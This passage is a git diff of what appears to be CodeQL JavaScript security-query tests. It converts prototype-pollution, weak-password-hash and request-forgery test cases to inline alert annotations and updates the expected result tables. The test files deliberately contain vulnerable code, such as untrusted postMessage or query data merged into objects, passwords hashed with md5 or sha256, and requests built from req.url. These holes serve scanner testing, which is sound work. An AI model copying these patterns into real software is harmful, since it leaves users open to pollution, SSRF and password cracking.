-| webix/webix.html:4:26:4:47 | JSON.pa ... t.data) | webix/webix.html:3:34:3:38 | event | webix/webix.html:4:26:4:47 | JSON.pa ... t.data) | Prototype pollution caused by merging a $@ using a vulnerable version of $@. | webix/webix.html:3:34:3:38 | event | user-controlled value | webix/webix.html:4:9:4:48 | webix.e ... .data)) | webix |
-| webix/webix.html:5:24:5:45 | JSON.pa ... t.data) | webix/webix.html:3:34:3:38 | event | webix/webix.html:5:24:5:45 | JSON.pa ... t.data) | Prototype pollution caused by merging a $@ using a vulnerable version of $@. | webix/webix.html:3:34:3:38 | event | user-controlled value | webix/webix.html:5:9:5:46 | webix.c ... .data)) | webix |
-| webix/webix.js:4:22:4:43 | JSON.pa ... t.data) | webix/webix.js:3:30:3:34 | event | webix/webix.js:4:22:4:43 | JSON.pa ... t.data) | Prototype pollution caused by merging a $@ using a vulnerable version of $@. | webix/webix.js:3:30:3:34 | event | user-controlled value | webix/webix.js:4:5:4:44 | webix.e ... .data)) | webix |
-| webix/webix.js:5:20:5:41 | JSON.pa ... t.data) | webix/webix.js:3:30:3:34 | event | webix/webix.js:5:20:5:41 | JSON.pa ... t.data) | Prototype pollution caused by merging a $@ using a vulnerable version of $@. | webix/webix.js:3:30:3:34 | event | user-controlled value | webix/webix.js:5:5:5:42 | webix.c ... .data)) | webix |
diff --git a/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingMergeCall/PrototypePollutingMergeCall.qlref b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingMergeCall/PrototypePollutingMergeCall.qlref
index c25a469a4d03..e2fd61cc5225 100644
--- a/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingMergeCall/PrototypePollutingMergeCall.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingMergeCall/PrototypePollutingMergeCall.qlref
@@ -1 +1,2 @@
-Security/CWE-915/PrototypePollutingMergeCall.ql
\ No newline at end of file
+query: Security/CWE-915/PrototypePollutingMergeCall.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingMergeCall/angularmerge.js b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingMergeCall/angularmerge.js
index 041d9adf02fc..57e74adc18b2 100644
--- a/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingMergeCall/angularmerge.js
+++ b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingMergeCall/angularmerge.js
@@ -1,3 +1,3 @@
-addEventListener("message", (event) => {
-  angular.merge({}, JSON.parse(event.data)); // NOT OK
+addEventListener("message", (event) => { // $ Source
+  angular.merge({}, JSON.parse(event.data)); // $ Alert
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingMergeCall/src-non-vulnerable-lodash/tst.js b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingMergeCall/src-non-vulnerable-lodash/tst.js
index ba7d026b9cd9..8e50da57e315 100644
--- a/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingMergeCall/src-non-vulnerable-lodash/tst.js
+++ b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingMergeCall/src-non-vulnerable-lodash/tst.js
@@ -4,5 +4,5 @@ let _ = require('lodash');
 let app = express();
 
 app.get('/hello', function(req, res) {
-    _.merge({}, req.query.foo); // OK
+    _.merge({}, req.query.foo);
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingMergeCall/src-vulnerable-lodash/tst.js b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingMergeCall/src-vulnerable-lodash/tst.js
index b1da6d9ab05d..270038961d19 100644
--- a/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingMergeCall/src-vulnerable-lodash/tst.js
+++ b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingMergeCall/src-vulnerable-lodash/tst.js
@@ -4,17 +4,17 @@ let _ = require('lodash');
 let app = express();
 
 app.get('/hello', function(req, res) {
-    _.merge({}, req.query.foo); // NOT OK
-    _.merge({}, req.query); // NOT OK - but not flagged
+    _.merge({}, req.query.foo); // $ Alert
+    _.merge({}, req.query); // $ MISSING: Alert
 
     _.merge({}, {
-        value: req.query.value // NOT OK
-    });
+        value: req.query.value // $ Source
+    }); // $ Alert
 
     let opts = {
-      thing: req.query.value // wrapped and unwrapped value
+      thing: req.query.value // $ Source - wrapped and unwrapped value
     };
     _.merge({}, {
-        value: opts.thing // NOT OK
-    });
+        value: opts.thing
+    }); // $ Alert
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingMergeCall/webix/webix.html b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingMergeCall/webix/webix.html
index 02d6d086d547..ccd317916100 100644
--- a/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingMergeCall/webix/webix.html
+++ b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingMergeCall/webix/webix.html
@@ -1,7 +1,7 @@
 <script src="path/to/webix.js" type="text/javascript" charset="utf-8"></script>
 <script>
-    addEventListener("message", (event) => {
-        webix.extend({}, JSON.parse(event.data)); // NOT OK
-        webix.copy({}, JSON.parse(event.data)); // NOT OK
+    addEventListener("message", (event) => { <!-- $ Source -->
+        webix.extend({}, JSON.parse(event.data)); // $ Alert
+        webix.copy({}, JSON.parse(event.data)); // $ Alert
     });
 </script>
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingMergeCall/webix/webix.js b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingMergeCall/webix/webix.js
index acbfa2acbb42..1b281d5250cc 100644
--- a/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingMergeCall/webix/webix.js
+++ b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingMergeCall/webix/webix.js
@@ -1,6 +1,6 @@
 import * as webix from "webix";
 
-addEventListener("message", (event) => {
-    webix.extend({}, JSON.parse(event.data)); // NOT OK
-    webix.copy({}, JSON.parse(event.data)); // NOT OK
+addEventListener("message", (event) => { // $ Source
+    webix.extend({}, JSON.parse(event.data)); // $ Alert
+    webix.copy({}, JSON.parse(event.data)); // $ Alert
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-916/InsufficientPasswordHash.qlref b/javascript/ql/test/query-tests/Security/CWE-916/InsufficientPasswordHash.qlref
index 77fc8c3a1d2f..312cee377c3c 100644
--- a/javascript/ql/test/query-tests/Security/CWE-916/InsufficientPasswordHash.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-916/InsufficientPasswordHash.qlref
@@ -1 +1,2 @@
-Security/CWE-916/InsufficientPasswordHash.ql
\ No newline at end of file
+query: Security/CWE-916/InsufficientPasswordHash.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-916/tst.js b/javascript/ql/test/query-tests/Security/CWE-916/tst.js
index c5f1c31127a8..d41c6b719a18 100644
--- a/javascript/ql/test/query-tests/Security/CWE-916/tst.js
+++ b/javascript/ql/test/query-tests/Security/CWE-916/tst.js
@@ -1,9 +1,9 @@
 var password = "secret";
 
-require("bcrypt").hash(password); // OK
+require("bcrypt").hash(password);
 
-require('crypto').createCipher('aes192').write(password); // NOT OK
+require('crypto').createCipher('aes192').write(password); // $ Alert
 
-require('crypto').createHash('sha256').write(password); // NOT OK
+require('crypto').createHash('sha256').write(password); // $ Alert
 
-require('crypto').createHash('md5').write(password); // NOT OK
+require('crypto').createHash('md5').write(password); // $ Alert
diff --git a/javascript/ql/test/query-tests/Security/CWE-918/ClientSideRequestForgery.expected b/javascript/ql/test/query-tests/Security/CWE-918/ClientSideRequestForgery.expected
index 5a267ea56891..4a8f524f8624 100644
--- a/javascript/ql/test/query-tests/Security/CWE-918/ClientSideRequestForgery.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-918/ClientSideRequestForgery.expected
@@ -1,3 +1,8 @@
+#select
+| clientSide.js:12:5:12:55 | request ...  '/id') | clientSide.js:11:19:11:40 | window. ... .search | clientSide.js:12:13:12:54 | 'https: ... + '/id' | The $@ of this request depends on a $@. | clientSide.js:12:13:12:54 | 'https: ... + '/id' | URL | clientSide.js:11:19:11:40 | window. ... .search | user-provided value |
+| clientSide.js:14:5:14:64 | request ... search) | clientSide.js:14:42:14:63 | window. ... .search | clientSide.js:14:13:14:63 | 'https: ... .search | The $@ of this request depends on a $@. | clientSide.js:14:13:14:63 | 'https: ... .search | URL | clientSide.js:14:42:14:63 | window. ... .search | user-provided value |
+| clientSide.js:17:5:17:58 | request ...  '/id') | clientSide.js:16:22:16:41 | window.location.hash | clientSide.js:17:13:17:57 | 'https: ... + '/id' | The $@ of this request depends on a $@. | clientSide.js:17:13:17:57 | 'https: ... + '/id' | URL | clientSide.js:16:22:16:41 | window.location.hash | user-provided value |
+| clientSide.js:21:5:21:54 | request ...  '/id') | clientSide.js:20:18:20:28 | window.name | clientSide.js:21:13:21:53 | 'https: ... + '/id' | The $@ of this request depends on a $@. | clientSide.js:21:13:21:53 | 'https: ... + '/id' | URL | clientSide.js:20:18:20:28 | window.name | user-provided value |
 edges
 | clientSide.js:11:11:11:53 | query | clientSide.js:12:42:12:46 | query | provenance |  |
 | clientSide.js:11:19:11:40 | window. ... .search | clientSide.js:11:19:11:53 | window. ... ring(1) | provenance |  |
@@ -29,8 +34,3 @@ nodes
 | clientSide.js:21:13:21:53 | 'https: ... + '/id' | semmle.label | 'https: ... + '/id' |
 | clientSide.js:21:42:21:45 | name | semmle.label | name |
 subpaths
-#select
-| clientSide.js:12:5:12:55 | request ...  '/id') | clientSide.js:11:19:11:40 | window. ... .search | clientSide.js:12:13:12:54 | 'https: ... + '/id' | The $@ of this request depends on a $@. | clientSide.js:12:13:12:54 | 'https: ... + '/id' | URL | clientSide.js:11:19:11:40 | window. ... .search | user-provided value |
-| clientSide.js:14:5:14:64 | request ... search) | clientSide.js:14:42:14:63 | window. ... .search | clientSide.js:14:13:14:63 | 'https: ... .search | The $@ of this request depends on a $@. | clientSide.js:14:13:14:63 | 'https: ... .search | URL | clientSide.js:14:42:14:63 | window. ... .search | user-provided value |
-| clientSide.js:17:5:17:58 | request ...  '/id') | clientSide.js:16:22:16:41 | window.location.hash | clientSide.js:17:13:17:57 | 'https: ... + '/id' | The $@ of this request depends on a $@. | clientSide.js:17:13:17:57 | 'https: ... + '/id' | URL | clientSide.js:16:22:16:41 | window.location.hash | user-provided value |
-| clientSide.js:21:5:21:54 | request ...  '/id') | clientSide.js:20:18:20:28 | window.name | clientSide.js:21:13:21:53 | 'https: ... + '/id' | The $@ of this request depends on a $@. | clientSide.js:21:13:21:53 | 'https: ... + '/id' | URL | clientSide.js:20:18:20:28 | window.name | user-provided value |
diff --git a/javascript/ql/test/query-tests/Security/CWE-918/ClientSideRequestForgery.qlref b/javascript/ql/test/query-tests/Security/CWE-918/ClientSideRequestForgery.qlref
index 1557850e85d9..9f67a0ba2a0b 100644
--- a/javascript/ql/test/query-tests/Security/CWE-918/ClientSideRequestForgery.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-918/ClientSideRequestForgery.qlref
@@ -1 +1,2 @@
-Security/CWE-918/ClientSideRequestForgery.ql
+query: Security/CWE-918/ClientSideRequestForgery.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-918/RequestForgery.expected b/javascript/ql/test/query-tests/Security/CWE-918/RequestForgery.expected
index edeab8f1d94f..6b33506d502f 100644
--- a/javascript/ql/test/query-tests/Security/CWE-918/RequestForgery.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-918/RequestForgery.expected
@@ -1,4 +1,41 @@
+#select
+| apollo.serverSide.ts:8:39:8:64 | get(fil ...  => {}) | apollo.serverSide.ts:7:36:7:44 | { files } | apollo.serverSide.ts:8:43:8:50 | file.url | The $@ of this request depends on a $@. | apollo.serverSide.ts:8:43:8:50 | file.url | URL | apollo.serverSide.ts:7:36:7:44 | { files } | user-provided value |
+| axiosInterceptors.serverSide.js:11:26:11:40 | userProvidedUrl | axiosInterceptors.serverSide.js:19:21:19:28 | req.body | axiosInterceptors.serverSide.js:11:26:11:40 | userProvidedUrl | The $@ of this request depends on a $@. | axiosInterceptors.serverSide.js:11:26:11:40 | userProvidedUrl | endpoint | axiosInterceptors.serverSide.js:19:21:19:28 | req.body | user-provided value |
+| serverSide.js:18:5:18:20 | request(tainted) | serverSide.js:14:29:14:35 | req.url | serverSide.js:18:13:18:19 | tainted | The $@ of this request depends on a $@. | serverSide.js:18:13:18:19 | tainted | URL | serverSide.js:14:29:14:35 | req.url | user-provided value |
+| serverSide.js:20:5:20:24 | request.get(tainted) | serverSide.js:14:29:14:35 | req.url | serverSide.js:20:17:20:23 | tainted | The $@ of this request depends on a $@. | serverSide.js:20:17:20:23 | tainted | URL | serverSide.js:14:29:14:35 | req.url | user-provided value |
+| serverSide.js:24:5:24:20 | request(options) | serverSide.js:14:29:14:35 | req.url | serverSide.js:23:19:23:25 | tainted | The $@ of this request depends on a $@. | serverSide.js:23:19:23:25 | tainted | URL | serverSide.js:14:29:14:35 | req.url | user-provided value |
+| serverSide.js:26:5:26:32 | request ... ainted) | serverSide.js:14:29:14:35 | req.url | serverSide.js:26:13:26:31 | "http://" + tainted | The $@ of this request depends on a $@. | serverSide.js:26:13:26:31 | "http://" + tainted | URL | serverSide.js:14:29:14:35 | req.url | user-provided value |
+| serverSide.js:28:5:28:43 | request ... ainted) | serverSide.js:14:29:14:35 | req.url | serverSide.js:28:13:28:42 | "http:/ ... tainted | The $@ of this request depends on a $@. | serverSide.js:28:13:28:42 | "http:/ ... tainted | URL | serverSide.js:14:29:14:35 | req.url | user-provided value |
+| serverSide.js:30:5:30:44 | request ... ainted) | serverSide.js:14:29:14:35 | req.url | serverSide.js:30:13:30:43 | "http:/ ... tainted | The $@ of this request depends on a $@. | serverSide.js:30:13:30:43 | "http:/ ... tainted | URL | serverSide.js:14:29:14:35 | req.url | user-provided value |
+| serverSide.js:34:5:34:42 | http.ge ... inted}) | serverSide.js:14:29:14:35 | req.url | serverSide.js:34:34:34:40 | tainted | The $@ of this request depends on a $@. | serverSide.js:34:34:34:40 | tainted | host | serverSide.js:14:29:14:35 | req.url | user-provided value |
+| serverSide.js:36:5:36:32 | XhrIo.s ... inted)) | serverSide.js:14:29:14:35 | req.url | serverSide.js:36:16:36:31 | new Uri(tainted) | The $@ of this request depends on a $@. | serverSide.js:36:16:36:31 | new Uri(tainted) | URL | serverSide.js:14:29:14:35 | req.url | user-provided value |
+| serverSide.js:37:5:37:38 | new Xhr ... inted)) | serverSide.js:14:29:14:35 | req.url | serverSide.js:37:22:37:37 | new Uri(tainted) | The $@ of this request depends on a $@. | serverSide.js:37:22:37:37 | new Uri(tainted) | URL | serverSide.js:14:29:14:35 | req.url | user-provided value |
+| serverSide.js:41:5:41:52 | request ... nted}`) | serverSide.js:14:29:14:35 | req.url | serverSide.js:41:13:41:51 | `http:/ ... inted}` | The $@ of this request depends on a $@. | serverSide.js:41:13:41:51 | `http:/ ... inted}` | URL | serverSide.js:14:29:14:35 | req.url | user-provided value |
+| serverSide.js:43:5:43:55 | request ... nted}`) | serverSide.js:14:29:14:35 | req.url | serverSide.js:43:13:43:54 | `http:/ ... inted}` | The $@ of this request depends on a $@. | serverSide.js:43:13:43:54 | `http:/ ... inted}` | URL | serverSide.js:14:29:14:35 | req.url | user-provided value |
+| serverSide.js:45:5:45:57 | request ... ainted) | serverSide.js:14:29:14:35 | req.url | serverSide.js:45:13:45:56 | 'http:/ ... tainted | The $@ of this request depends on a $@. | serverSide.js:45:13:45:56 | 'http:/ ... tainted | URL | serverSide.js:14:29:14:35 | req.url | user-provided value |
+| serverSide.js:61:2:61:37 | client. ... inted}) | serverSide.js:58:29:58:35 | req.url | serverSide.js:61:29:61:35 | tainted | The $@ of this request depends on a $@. | serverSide.js:61:29:61:35 | tainted | URL | serverSide.js:58:29:58:35 | req.url | user-provided value |
+| serverSide.js:64:3:64:38 | client. ... inted}) | serverSide.js:58:29:58:35 | req.url | serverSide.js:64:30:64:36 | tainted | The $@ of this request depends on a $@. | serverSide.js:64:30:64:36 | tainted | URL | serverSide.js:58:29:58:35 | req.url | user-provided value |
+| serverSide.js:68:3:68:38 | client. ... inted}) | serverSide.js:58:29:58:35 | req.url | serverSide.js:68:30:68:36 | tainted | The $@ of this request depends on a $@. | serverSide.js:68:30:68:36 | tainted | URL | serverSide.js:58:29:58:35 | req.url | user-provided value |
+| serverSide.js:76:5:76:26 | JSDOM.f ... ainted) | serverSide.js:74:29:74:35 | req.url | serverSide.js:76:19:76:25 | tainted | The $@ of this request depends on a $@. | serverSide.js:76:19:76:25 | tainted | URL | serverSide.js:74:29:74:35 | req.url | user-provided value |
+| serverSide.js:84:5:84:25 | JSDOM.f ... param1) | serverSide.js:83:38:83:43 | param1 | serverSide.js:84:19:84:24 | param1 | The $@ of this request depends on a $@. | serverSide.js:84:19:84:24 | param1 | URL | serverSide.js:83:38:83:43 | param1 | user-provided value |
+| serverSide.js:90:5:90:33 | JSDOM.f ... ms.foo) | serverSide.js:90:19:90:28 | ctx.params | serverSide.js:90:19:90:32 | ctx.params.foo | The $@ of this request depends on a $@. | serverSide.js:90:19:90:32 | ctx.params.foo | URL | serverSide.js:90:19:90:28 | ctx.params | user-provided value |
+| serverSide.js:92:5:92:33 | JSDOM.f ... ms.foo) | serverSide.js:92:19:92:28 | ctx.params | serverSide.js:92:19:92:32 | ctx.params.foo | The $@ of this request depends on a $@. | serverSide.js:92:19:92:32 | ctx.params.foo | URL | serverSide.js:92:19:92:28 | ctx.params | user-provided value |
+| serverSide.js:100:5:100:26 | new Web ... ainted) | serverSide.js:98:29:98:35 | req.url | serverSide.js:100:19:100:25 | tainted | The $@ of this request depends on a $@. | serverSide.js:100:19:100:25 | tainted | URL | serverSide.js:98:29:98:35 | req.url | user-provided value |
+| serverSide.js:109:20:109:30 | new ws(url) | serverSide.js:108:17:108:27 | request.url | serverSide.js:109:27:109:29 | url | The $@ of this request depends on a $@. | serverSide.js:109:27:109:29 | url | URL | serverSide.js:108:17:108:27 | request.url | user-provided value |
+| serverSide.js:117:20:117:30 | new ws(url) | serverSide.js:115:25:115:35 | request.url | serverSide.js:117:27:117:29 | url | The $@ of this request depends on a $@. | serverSide.js:117:27:117:29 | url | URL | serverSide.js:115:25:115:35 | request.url | user-provided value |
+| serverSide.js:125:5:128:6 | axios({ ... \\n    }) | serverSide.js:123:29:123:35 | req.url | serverSide.js:127:14:127:20 | tainted | The $@ of this request depends on a $@. | serverSide.js:127:14:127:20 | tainted | URL | serverSide.js:123:29:123:35 | req.url | user-provided value |
+| serverSide.js:131:5:131:20 | axios.get(myUrl) | serverSide.js:123:29:123:35 | req.url | serverSide.js:131:15:131:19 | myUrl | The $@ of this request depends on a $@. | serverSide.js:131:15:131:19 | myUrl | URL | serverSide.js:123:29:123:35 | req.url | user-provided value |
 edges
+| apollo.serverSide.ts:7:36:7:44 | files | apollo.serverSide.ts:8:13:8:17 | files | provenance |  |
+| apollo.serverSide.ts:7:36:7:44 | { files } | apollo.serverSide.ts:7:36:7:44 | files | provenance |  |
+| apollo.serverSide.ts:8:13:8:17 | files | apollo.serverSide.ts:8:28:8:31 | file | provenance |  |
+| apollo.serverSide.ts:8:28:8:31 | file | apollo.serverSide.ts:8:43:8:46 | file | provenance |  |
+| apollo.serverSide.ts:8:43:8:46 | file | apollo.serverSide.ts:8:43:8:50 | file.url | provenance |  |
+| axiosInterceptors.serverSide.js:19:11:19:17 | { url } | axiosInterceptors.serverSide.js:19:11:19:28 | url | provenance |  |
+| axiosInterceptors.serverSide.js:19:11:19:28 | url | axiosInterceptors.serverSide.js:20:23:20:25 | url | provenance |  |
+| axiosInterceptors.serverSide.js:19:21:19:28 | req.body | axiosInterceptors.serverSide.js:19:11:19:17 | { url } | provenance |  |
+| axiosInterceptors.serverSide.js:20:5:20:25 | userProvidedUrl | axiosInterceptors.serverSide.js:11:26:11:40 | userProvidedUrl | provenance |  |
+| axiosInterceptors.serverSide.js:20:23:20:25 | url | axiosInterceptors.serverSide.js:20:5:20:25 | userProvidedUrl | provenance |  |
 | serverSide.js:14:9:14:52 | tainted | serverSide.js:18:13:18:19 | tainted | provenance |  |
 | serverSide.js:14:9:14:52 | tainted | serverSide.js:20:17:20:23 | tainted | provenance |  |
 | serverSide.js:14:9:14:52 | tainted | serverSide.js:23:19:23:25 | tainted | provenance |  |
@@ -48,6 +85,18 @@ edges
 | serverSide.js:130:9:130:45 | myUrl | serverSide.js:131:15:131:19 | myUrl | provenance |  |
 | serverSide.js:130:37:130:43 | tainted | serverSide.js:130:9:130:45 | myUrl | provenance |  |
 nodes
+| apollo.serverSide.ts:7:36:7:44 | files | semmle.label | files |
+| apollo.serverSide.ts:7:36:7:44 | { files } | semmle.label | { files } |
+| apollo.serverSide.ts:8:13:8:17 | files | semmle.label | files |
+| apollo.serverSide.ts:8:28:8:31 | file | semmle.label | file |
+| apollo.serverSide.ts:8:43:8:46 | file | semmle.label | file |
+| apollo.serverSide.ts:8:43:8:50 | file.url | semmle.label | file.url |
+| axiosInterceptors.serverSide.js:11:26:11:40 | userProvidedUrl | semmle.label | userProvidedUrl |
+| axiosInterceptors.serverSide.js:19:11:19:17 | { url } | semmle.label | { url } |
+| axiosInterceptors.serverSide.js:19:11:19:28 | url | semmle.label | url |
+| axiosInterceptors.serverSide.js:19:21:19:28 | req.body | semmle.label | req.body |
+| axiosInterceptors.serverSide.js:20:5:20:25 | userProvidedUrl | semmle.label | userProvidedUrl |
+| axiosInterceptors.serverSide.js:20:23:20:25 | url | semmle.label | url |
 | serverSide.js:14:9:14:52 | tainted | semmle.label | tainted |
 | serverSide.js:14:19:14:42 | url.par ... , true) | semmle.label | url.par ... , true) |
 | serverSide.js:14:29:14:35 | req.url | semmle.label | req.url |
@@ -107,28 +156,3 @@ nodes
 | serverSide.js:130:37:130:43 | tainted | semmle.label | tainted |
 | serverSide.js:131:15:131:19 | myUrl | semmle.label | myUrl |
 subpaths
-#select
-| serverSide.js:18:5:18:20 | request(tainted) | serverSide.js:14:29:14:35 | req.url | serverSide.js:18:13:18:19 | tainted | The $@ of this request depends on a $@. | serverSide.js:18:13:18:19 | tainted | URL | serverSide.js:14:29:14:35 | req.url | user-provided value |
-| serverSide.js:20:5:20:24 | request.get(tainted) | serverSide.js:14:29:14:35 | req.url | serverSide.js:20:17:20:23 | tainted | The $@ of this request depends on a $@. | serverSide.js:20:17:20:23 | tainted | URL | serverSide.js:14:29:14:35 | req.url | user-provided value |
-| serverSide.js:24:5:24:20 | request(options) | serverSide.js:14:29:14:35 | req.url | serverSide.js:23:19:23:25 | tainted | The $@ of this request depends on a $@. | serverSide.js:23:19:23:25 | tainted | URL | serverSide.js:14:29:14:35 | req.url | user-provided value |
-| serverSide.js:26:5:26:32 | request ... ainted) | serverSide.js:14:29:14:35 | req.url | serverSide.js:26:13:26:31 | "http://" + tainted | The $@ of this request depends on a $@. | serverSide.js:26:13:26:31 | "http://" + tainted | URL | serverSide.js:14:29:14:35 | req.url | user-provided value |
-| serverSide.js:28:5:28:43 | request ... ainted) | serverSide.js:14:29:14:35 | req.url | serverSide.js:28:13:28:42 | "http:/ ... tainted | The $@ of this request depends on a $@. | serverSide.js:28:13:28:42 | "http:/ ... tainted | URL | serverSide.js:14:29:14:35 | req.url | user-provided value |
-| serverSide.js:30:5:30:44 | request ... ainted) | serverSide.js:14:29:14:35 | req.url | serverSide.js:30:13:30:43 | "http:/ ... tainted | The $@ of this request depends on a $@. | serverSide.js:30:13:30:43 | "http:/ ... tainted | URL | serverSide.js:14:29:14:35 | req.url | user-provided value |
-| serverSide.js:34:5:34:42 | http.ge ... inted}) | serverSide.js:14:29:14:35 | req.url | serverSide.js:34:34:34:40 | tainted | The $@ of this request depends on a $@. | serverSide.js:34:34:34:40 | tainted | host | serverSide.js:14:29:14:35 | req.url | user-provided value |
-| serverSide.js:36:5:36:32 | XhrIo.s ... inted)) | serverSide.js:14:29:14:35 | req.url | serverSide.js:36:16:36:31 | new Uri(tainted) | The $@ of this request depends on a $@. | serverSide.js:36:16:36:31 | new Uri(tainted) | URL | serverSide.js:14:29:14:35 | req.url | user-provided value |
-| serverSide.js:37:5:37:38 | new Xhr ... inted)) | serverSide.js:14:29:14:35 | req.url | serverSide.js:37:22:37:37 | new Uri(tainted) | The $@ of this request depends on a $@. | serverSide.js:37:22:37:37 | new Uri(tainted) | URL | serverSide.js:14:29:14:35 | req.url | user-provided value |
-| serverSide.js:41:5:41:52 | request ... nted}`) | serverSide.js:14:29:14:35 | req.url | serverSide.js:41:13:41:51 | `http:/ ... inted}` | The $@ of this request depends on a $@. | serverSide.js:41:13:41:51 | `http:/ ... inted}` | URL | serverSide.js:14:29:14:35 | req.url | user-provided value |
-| serverSide.js:43:5:43:55 | request ... nted}`) | serverSide.js:14:29:14:35 | req.url | serverSide.js:43:13:43:54 | `http:/ ... inted}` | The $@ of this request depends on a $@. | serverSide.js:43:13:43:54 | `http:/ ... inted}` | URL | serverSide.js:14:29:14:35 | req.url | user-provided value |
-| serverSide.js:45:5:45:57 | request ... ainted) | serverSide.js:14:29:14:35 | req.url | serverSide.js:45:13:45:56 | 'http:/ ... tainted | The $@ of this request depends on a $@. | serverSide.js:45:13:45:56 | 'http:/ ... tainted | URL | serverSide.js:14:29:14:35 | req.url | user-provided value |
-| serverSide.js:61:2:61:37 | client. ... inted}) | serverSide.js:58:29:58:35 | req.url | serverSide.js:61:29:61:35 | tainted | The $@ of this request depends on a $@. | serverSide.js:61:29:61:35 | tainted | URL | serverSide.js:58:29:58:35 | req.url | user-provided value |
-| serverSide.js:64:3:64:38 | client. ... inted}) | serverSide.js:58:29:58:35 | req.url | serverSide.js:64:30:64:36 | tainted | The $@ of this request depends on a $@. | serverSide.js:64:30:64:36 | tainted | URL | serverSide.js:58:29:58:35 | req.url | user-provided value |
-| serverSide.js:68:3:68:38 | client. ... inted}) | serverSide.js:58:29:58:35 | req.url | serverSide.js:68:30:68:36 | tainted | The $@ of this request depends on a $@. | serverSide.js:68:30:68:36 | tainted | URL | serverSide.js:58:29:58:35 | req.url | user-provided value |
-| serverSide.js:76:5:76:26 | JSDOM.f ... ainted) | serverSide.js:74:29:74:35 | req.url | serverSide.js:76:19:76:25 | tainted | The $@ of this request depends on a $@. | serverSide.js:76:19:76:25 | tainted | URL | serverSide.js:74:29:74:35 | req.url | user-provided value |
-| serverSide.js:84:5:84:25 | JSDOM.f ... param1) | serverSide.js:83:38:83:43 | param1 | serverSide.js:84:19:84:24 | param1 | The $@ of this request depends on a $@. | serverSide.js:84:19:84:24 | param1 | URL | serverSide.js:83:38:83:43 | param1 | user-provided value |
-| serverSide.js:90:5:90:33 | JSDOM.f ... ms.foo) | serverSide.js:90:19:90:28 | ctx.params | serverSide.js:90:19:90:32 | ctx.params.foo | The $@ of this request depends on a $@. | serverSide.js:90:19:90:32 | ctx.params.foo | URL | serverSide.js:90:19:90:28 | ctx.params | user-provided value |
-| serverSide.js:92:5:92:33 | JSDOM.f ... ms.foo) | serverSide.js:92:19:92:28 | ctx.params | serverSide.js:92:19:92:32 | ctx.params.foo | The $@ of this request depends on a $@. | serverSide.js:92:19:92:32 | ctx.params.foo | URL | serverSide.js:92:19:92:28 | ctx.params | user-provided value |
-| serverSide.js:100:5:100:26 | new Web ... ainted) | serverSide.js:98:29:98:35 | req.url | serverSide.js:100:19:100:25 | tainted | The $@ of this request depends on a $@. | serverSide.js:100:19:100:25 | tainted | URL | serverSide.js:98:29:98:35 | req.url | user-provided value |
-| serverSide.js:109:20:109:30 | new ws(url) | serverSide.js:108:17:108:27 | request.url | serverSide.js:109:27:109:29 | url | The $@ of this request depends on a $@. | serverSide.js:109:27:109:29 | url | URL | serverSide.js:108:17:108:27 | request.url | user-provided value |
-| serverSide.js:117:20:117:30 | new ws(url) | serverSide.js:115:25:115:35 | request.url | serverSide.js:117:27:117:29 | url | The $@ of this request depends on a $@. | serverSide.js:117:27:117:29 | url | URL | serverSide.js:115:25:115:35 | request.url | user-provided value |
-| serverSide.js:125:5:128:6 | axios({ ... \\n    }) | serverSide.js:123:29:123:35 | req.url | serverSide.js:127:14:127:20 | tainted | The $@ of this request depends on a $@. | serverSide.js:127:14:127:20 | tainted | URL | serverSide.js:123:29:123:35 | req.url | user-provided value |
-| serverSide.js:131:5:131:20 | axios.get(myUrl) | serverSide.js:123:29:123:35 | req.url | serverSide.js:131:15:131:19 | myUrl | The $@ of this request depends on a $@. | serverSide.js:131:15:131:19 | myUrl | URL | serverSide.js:123:29:123:35 | req.url | user-provided value |
diff --git a/javascript/ql/test/query-tests/Security/CWE-918/RequestForgery.qlref b/javascript/ql/test/query-tests/Security/CWE-918/RequestForgery.qlref
index fcb4e41daf88..28fbe9364a97 100644
--- a/javascript/ql/test/query-tests/Security/CWE-918/RequestForgery.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-918/RequestForgery.qlref
@@ -1 +1,2 @@
-Security/CWE-918/RequestForgery.ql
+query: Security/CWE-918/RequestForgery.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-918/apollo.serverSide.ts b/javascript/ql/test/query-tests/Security/CWE-918/apollo.serverSide.ts
new file mode 100644
index 000000000000..1d6aabd87fa5
--- /dev/null
+++ b/javascript/ql/test/query-tests/Security/CWE-918/apollo.serverSide.ts
@@ -0,0 +1,27 @@
+import { ApolloServer } from '@apollo/server';
+import { get } from 'https';
+
+function createApolloServer(typeDefs) {
